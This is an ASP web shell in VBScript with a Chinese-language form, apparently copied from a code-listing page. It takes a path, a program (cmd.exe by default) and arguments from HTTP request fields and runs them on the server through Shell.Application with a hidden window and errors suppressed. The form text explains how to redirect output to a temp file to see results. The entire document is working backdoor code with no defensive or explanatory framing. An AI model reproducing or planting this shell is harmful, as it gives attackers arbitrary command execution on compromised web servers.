1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
| <%
On Error Resume Next
Dim theFile, thePath, appPath, appName, appArgs
appPath = Trim(Request("appPath"))
appName = Trim(Request("appName"))
appArgs = Trim(Request("appArgs"))
If appName = "" Then
appName = "cmd.exe"
End If
If appPath <> "" And Right(appPath, 1) <> "\" Then
appPath = appPath & "\"
End If
If LCase(appName) = "cmd.exe" And appArgs <> "" Then
If LCase(Left(appArgs, 2)) <> "/c" Then
appArgs = "/c " & appArgs
End If
Else
If LCase(appName) = "cmd.exe" And appArgs = "" Then
appArgs = "/c "
End If
End If
Set objShellApp = CreateObject("Shell.Application")
objShellApp.ShellExecute appName, appArgs, appPath, "", 0
%>
<form method=post onSubmit='this.Submit.disabled=true'>
所在路径: <input name=appPath type=text id=appPath value=""" & HtmlEncode(appPath) & """ size=62><br/>
程序文件: <input name=appName type=text id=appName value=""" & HtmlEncode(appName) & """ size=62><br/>
命令参数: <input name=appArgs type=text id=appArgs value=""" & HtmlEncode(appArgs) & """ size=62>
<input type=submit name=Submit value=' 运行 '><br/>
<hr/>注: 只有命令行程序在CMD.EXE运行环境下才可以进行临时文件回显(利用"">""符号),其它程序只能执行不能回显.<br/> 程序文件默认为cmd.exe,请自定义路径,参数处直接写命令.<hr/>
</form>
|